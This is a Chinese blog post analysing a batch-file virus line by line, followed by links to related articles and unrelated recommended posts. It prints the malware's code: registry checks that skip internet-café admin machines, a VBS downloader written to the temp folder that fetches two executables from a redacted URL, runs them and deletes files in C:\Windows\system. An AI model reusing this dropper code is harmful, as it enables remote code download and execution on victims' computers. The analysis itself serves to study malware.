之前没学过bat,这里借分析顺便学一波,分析过程可能有点啰嗦

这里的@echo off关闭回显,病毒一般都是隐秘的执行的,然后setlocal enabledelayedexpansion是设置本地变量延迟,具体作用在这里:https://www.jb51.net/article/29323.htm

  1. @echo off&setlocal enabledelayedexpansion

这里的三个命令都是查找计算机里的超级用户,/v表示查询注册表值,>nul 2>nul表示无论执行成功还是失败都不显示结果。然后如果找到了注册表里的值(存在某个超级用户),就跳转到相关的地方继续执行。

  1. reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\iCafe8 /v Admin>nul >nul&&call :is_admin_icafe
  2. reg query HKEY_LOCAL_MACHINE\SOFTWARE\EYOOCLIENTSTATUS /v SuperLogin>nul >nul&&call :is_admin_eyoo
  3. reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet /v superadmin>nul >nul&&call :is_admin_yungengxin

这里就跳到了各个标志处继续执行,目的都是一样,其中/f是解析文本,读字符串用;"delims="以空格定界符号,%IsAdmin:~-1%是提取IsAmin的最后一个字符。三个语句都是检测是否存在超级用户,是就执行goto superadmin,执行结束,否则就执行goto :eof,等待其他输入。这里有个很奇怪的是,我去搜索了一下,一般都是网吧的管理系统才会有这个超级管理员的注册表值,这个病毒为什么自动躲避网吧????

  1. :is_admin_icafe
  2. for /f "delims=" %%a in ('reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\icafe8 /v Admin') do (set IsAdmin=%%a)
  3. if %IsAdmin:~-% == (goto superadmin)
  4. goto :eof
  5.  
  6. :is_admin_eyoo
  7. for /f "delims=" %%a in ('reg query HKEY_LOCAL_MACHINE\SOFTWARE\EYOOCLIENTSTATUS /v SuperLogin') do (set IsAdmin=%%a)
  8. if %IsAdmin:~-% == (goto superadmin)
  9. goto :eof
  10.  
  11. :is_admin_yungengxin
  12. for /f "delims=" %%a in ('reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet /v superadmin') do (set IsAdmin=%%a)
  13. if %IsAdmin:~-% == (goto superadmin)
  14. goto :eof
  15.  
  16. :superadmin
  17. exit

这里是下载两个exe到c盘下(网址抹掉了),然后删除c:\windows\system\下所有的exe,/q取消删除确认,然后执行结束

  1. ::Download one or more programs and run the programs
  2. call :geticon http://xxxx/xx/zc005.exe C:\Windows\system\zc005.exe
  3. call :geticon http://xxxx/xx/zjzc6.exe C:\Windows\system\zjzc6.exe
  4. del c:\windows\system\*.exe /q
  5. exit

我们看一下下载文件的地方,就是在temp临时目录生成一个vbs文件

  1. :geticon url path
  2. echo strFileURL="%1">%temp%\boot.vbs
  3. echo strHDLocation="%2">>%temp%\boot.vbs
  4. echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>>%temp%\boot.vbs
  5. echo objXMLHTTP.open "GET", strFileURL, false>>%temp%\boot.vbs
  6. echo objXMLHTTP.send()>>%temp%\boot.vbs
  7. echo If objXMLHTTP.Status= Then>>%temp%\boot.vbs
  8. echo Set objADOStream=CreateObject("ADODB.Stream")>>%temp%\boot.vbs
  9. echo objADOStream.Open>>%temp%\boot.vbs
  10. echo objADOStream.Type^=^>>%temp%\boot.vbs
  11. echo objADOStream.Write objXMLHTTP.ResponseBody>>%temp%\boot.vbs
  12. echo objADOStream.Position^=^>>%temp%\boot.vbs
  13. echo Set objFSO=Createobject("Scripting.FileSystemObject")>>%temp%\boot.vbs
  14. echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation>>%temp%\boot.vbs
  15. echo Set objFSO=Nothing>>%temp%\boot.vbs
  16. echo objADOStream.SaveToFile strHDLocation>>%temp%\boot.vbs
  17. echo objADOStream.Close>>%temp%\boot.vbs
  18. echo Set objADOStream=Nothing>>%temp%\boot.vbs
  19. echo End if>>%temp%\boot.vbs
  20. echo Set objXMLHTTP=Nothing>>%temp%\boot.vbs
  21. cscript //nologo //e:vbscript %temp%/boot.vbs
  22. del %temp%\boot.vbs /q
  23. if exist % start "" %
  24. goto :eof

这里就是vbs执行的流程

  1. strFileURL=http://xxxx/xx/zc005.exe '目标URL
  2. strHDLocation=C:\Windows\system\zc005.exe '存放地址
  3. Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP") '创建一个MSXML2.XMLHTTP对象用来抓取网页数据
  4. objXMLHTTP.open "GET", strFileURL, false 'get方式访问url获取响应信息
  5. objXMLHTTP.send()
  6. If objXMLHTTP.Status= Then '判断是否访问到页面
  7. Set objADOStream=CreateObject("ADODB.Stream") 'ADODB.Stream用来数据传输
  8. objADOStream.Open
  9. objADOStream.Type^=^ '以二进制形式读取文件
  10. objADOStream.Write objXMLHTTP.ResponseBody '数据写入对象,.ResponseBody:表示可以返回HTTP响应的几种形式之一
  11. objADOStream.Position^=^ '指示开始读取的位置
  12. Set objFSO=Createobject("Scripting.FileSystemObject") '创建Scripting.FileSystemObject
  13. If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation '检测是否存在目标目录,存在就删除文件
  14. Set objFSO=Nothing
  15. objADOStream.SaveToFile strHDLocation '写入到目标路径
  16. objADOStream.Close
  17. Set objADOStream=Nothing
  18. End if
  19. Set objXMLHTTP=Nothing

最后这里就是用cscript执行脚本下载那两个exe下来,然后删除vbs脚本,最后再检测到目标文件就运行exe

  1. cscript //nologo //e:vbscript %temp%/boot.vbs
  2. del %temp%\boot.vbs /q
  3. if exist % start "" %
  4. goto :eof

这就是那两个exe,不过目标网站已经被封了,这里感谢大佬发的样品,我们会在part2分析那两个exe

一个bat病毒分析(part1)的更多相关文章

  1. 【病毒分析】对一个vbs脚本病毒的分析

    [病毒分析]对一个vbs脚本病毒的分析 本文来源:i春秋社区-分享你的技术,为安全加点温度 一.前言 病毒课老师丢给我们一份加密过的vbs脚本病毒的代码去尝试分析,这里把分析过程发出来,供大家参考,如 ...

  2. 一个简单的HTML病毒分析

    一直就想写这篇东西了,仅仅是上班时说要上班,不写.回家后又忙着玩游戏,丢一边去了.如今仅仅好不务正业的开写了.希望头儿不会知道我的blog.哈哈 在非常久之前就对HTML的病毒非常感兴趣了,非常好奇怎 ...

  3. 用bat写的一个小病毒

    最近看了一点bat的知识,具体说是看了一个博客:http://blog.csdn.net/qsyzb/article/details/17364581 用了三天才看完=.=,感觉作者整理整理可以把博客 ...

  4. 一个DDOS病毒的分析(二)

    一.基本信息 样本名称:hra33.dll或者lpk.dll 样本大小: 66560 字节 文件类型:Win32的dll文件 病毒名称:Dropped:Generic.ServStart.A3D47B ...

  5. [FreeBuff]Trojan.Miner.gbq挖矿病毒分析报告

    Trojan.Miner.gbq挖矿病毒分析报告 https://www.freebuf.com/articles/network/196594.html 竟然还有端口转发... 这哥们.. 江民安全 ...

  6. 【转】用C写一个简单病毒

    [摘要]在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现. [Abstract] This paper introduce the charateristic of t ...

  7. 一份通过IPC$和lpk.dll感染方式的病毒分析报告

    样本来自52pojie论坛,从事过两年渗透开始学病毒分析后看到IPC$真是再熟悉不过. 1.样本概况 1.1 样本信息 病毒名称:3601.exe MD5值:96043b8dcc7a977b16a28 ...

  8. 小技巧——病毒分析中关闭ASLR

    原文来自:https://bbs.ichunqiu.com/thread-41359-1-1.html 病毒分析中关闭ASLR 分析病毒的时候,尽可能用自己比较熟悉的平台,这样可以大大地节省时间,像我 ...

  9. Virut.ce-感染型病毒分析报告

    1.样本概况 病毒名称 Virus.Win32.Virut.ce MD5 6A500B42FC27CC5546079138370C492F 文件大小 131 KB (134,144 字节) 壳信息 无 ...

随机推荐

  1. 基于Rabbit实现的RPC

    最近在学习项目中的通用技术,其中一个是在项目中会经常使用的基于RabbitMQ实现的RPC.这里一共有三个点要学习,分别是:RPC是什么?RabbitMQ是什么?如何使用RabbitMQ实现RPC.奔 ...

  2. Win7 x64位打开VirtualBox报错处理。

    错误代码如下: Failed to instantiate CLSID_VirtualBox w/ IVirtualBox, but CLSID_VirtualBox w/ IUnknown work ...

  3. win10自带邮箱添加网易企业邮箱

    开始-邮件-账户-添加账户-高级安装程序-internet电子邮件-然后输入网易企业邮箱的用户名和相关服务器设置就行了 接收服务器 pop.qiye.163.com发送服务器 smtp.qiye.16 ...

  4. es6编程建议和技巧点汇总

    大括号 特点:大括号(单独的大括号或者if等后的大括号)内是一个单独的作用域 注意点:在块级作用域内声明的函数,类似var,会被提升到大括号外,应避免在块级作用域内声明函数.如果确实需要,写成函数表达 ...

  5. Java并发之Thread类的使用

    一.线程的几种状态 线程从创建到最终的消亡,要经历若干个状态.一般来说,线程包括以下这几个状态:创建(new).就绪(runnable).运行(running).阻塞(blocked).time wa ...

  6. 命令框下上传到gitee

    git常用命令 C:\Users\Administrator>cd www/p2p设置账号C:\Users\Administrator\www\p2p>git config --globa ...

  7. Spring系列(二) Bean装配

    创建应用对象之间协作关系的行为称为装配(wiring), 这也是DI的本质. Spring中装配Bean的方式 Spring提供了三种装配Bean的方式. 隐式的Bean发现机制和自动装配 Java ...

  8. NBIOT经典回答【转】

    转自:https://blog.csdn.net/pan0755/article/details/70145936 该部分分享的是物联网各垂直应用领域里,NB-IoT技术的部署,看看适合NB-IoT技 ...

  9. Lua中的环境概念

    [前言] Lua将其所有的全局变量保存在一个常规的table中,这个table称为“环境”.这种组织结构的优点在于,其一,不需要再为全局变量创造一种新的数据结构,因此简化了Lua的内部实现:另一个优点 ...

  10. MySQL -- 关闭 binlog

    LNMP一键安装包安装的MySQL默认是开启了日志文件的,如果数据操作比较频繁就会产生大量的日志,在/usr/local/mysql /var/下面产生mysql-bin.0000* 类似的文件,而且 ...